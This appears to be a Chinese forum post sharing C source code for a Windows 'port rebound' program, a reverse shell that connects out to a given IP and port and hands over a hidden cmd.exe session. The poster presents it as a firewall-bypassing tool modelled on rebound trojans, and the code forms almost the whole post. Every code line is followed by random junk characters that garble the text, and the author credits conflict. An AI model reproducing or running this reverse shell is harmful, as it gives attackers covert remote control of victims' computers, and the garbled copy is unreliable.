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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 S=eY`,'#R  
^3*/x%A,g  
/* ============================== #f\U3p  
Rebound port in Windows NT vZhN% DfY  
By wind,2006/7 oPo<F5M]d%  
===============================*/  x)THeH@  
#include M=`F $  
#include FUvZMA$  
9_ KUUA  
#pragma comment(lib,"wsock32.lib") 1;]cYIq  
MftX~+  
void OutputShell(); hi`\3B  
SOCKET sClient; R l^ENrv!]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 3oE *86  
zRL[.O9  
void main(int argc,char **argv) ! Hdg $,  
{ .!l#z|/x  
WSADATA stWsaData; \_De( p  
int nRet; #wk'&XsC#z  
SOCKADDR_IN stSaiClient,stSaiServer; 6EGh8H f  
zw7=:<z=  
if(argc != 3) J0C,K U(  
{ 8e[kE>tS._  
printf("Useage:\n\rRebound DestIP DestPort\n"); `GqS.O}C  
return; 'fy1'^VPAV  
} ;oH%d;H  
B9>3xxp(by  
WSAStartup(MAKEWORD(2,2),&stWsaData); z )a8 ^]`  
]y2(ZTNTs  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?VCb@&*  
]Tx8ImD#)A  
stSaiClient.sin_family = AF_INET; VbKky1a@  
stSaiClient.sin_port = htons(0); |A 8xy#  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 4F??9o8}  
)l\BZndf  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1Xu\Tm\Ux  
{ Y3mATw 3Wh  
printf("Bind Socket Failed!\n"); LXJ"ct  
return; =S|SQz5%w  
} Q<;f-9q @  
f+Put  
stSaiServer.sin_family = AF_INET; UF|v=|*{#  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~+q$TV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (C!u3ke2D  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) IT'~.!o7/  
{ bJx{mq  
printf("Connect Error!"); Nye Ga  
return; %h4pIA  
} .px*.e s  
OutputShell(); ne oT\HV  
} 4u"V52  
M$FQoRwH  
void OutputShell() OzA"i y  
{ U~s&}M\n  
char szBuff[1024]; V`l.F"<L  
SECURITY_ATTRIBUTES stSecurityAttributes; v,KH2 (N  
OSVERSIONINFO stOsversionInfo; M9 fAv  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; rPv+eM" >  
STARTUPINFO stStartupInfo; #hH"g  
char *szShell; D""d-oI[  
PROCESS_INFORMATION stProcessInformation; /H:'(W_b;  
unsigned long lBytesRead; ,}=x8Xxr  
@Vr?)_ 0  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Hh(_sewo  
/=FQ {tLr  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 4["$}O5  
stSecurityAttributes.lpSecurityDescriptor = 0; qg 4:Vq  
stSecurityAttributes.bInheritHandle = TRUE; l$}h1&V7  
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- 9UQs.Nv  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .o]vjNrd/  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); *QG>U[  
cW/RH.N  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); BikmAa  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6*A S4l  
stStartupInfo.wShowWindow = SW_HIDE; "c\ZUx_i6  
stStartupInfo.hStdInput = hReadPipe; !BIq>pO%Ui  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; F7E #x  
 =SRp  
GetVersionEx(&stOsversionInfo); 7;dV]N  
{[m %1O1  
switch(stOsversionInfo.dwPlatformId) >dUnk)7  
{ |z<E%`u%  
case 1: _W@q%L>  
szShell = "command.com"; 0mF3Vs`-Q  
break; IMmoq={ (z  
default: ;4z6="<Y  
szShell = "cmd.exe"; &\F`M|c  
break; g|9' Lk  
} R.Ao%VT  
8*V3g_z  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); :5L9tNr{_  
_ncqd,&z  
send(sClient,szMsg,77,0); '&I.w p`^  
while(1) t9Ht 5 4  
{ |dsd5Vdr  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5sao+dZ"|  
if(lBytesRead) m;>HUTj  
{ N32!*TsWs  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ?i>.<IPOq  
send(sClient,szBuff,lBytesRead,0); )|~pocXt<  
} ~]*P/'-{#  
else SaH0YxnY+  
{ x\]%TTps  
lBytesRead=recv(sClient,szBuff,1024,0); w`bojM@e1  
if(lBytesRead<=0) break; nAZuA]p}S]  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 21O!CvX   
} WtN o@e'  
} ; dPyhR  
;sE;l7  
return; )(oRJu)y  
}
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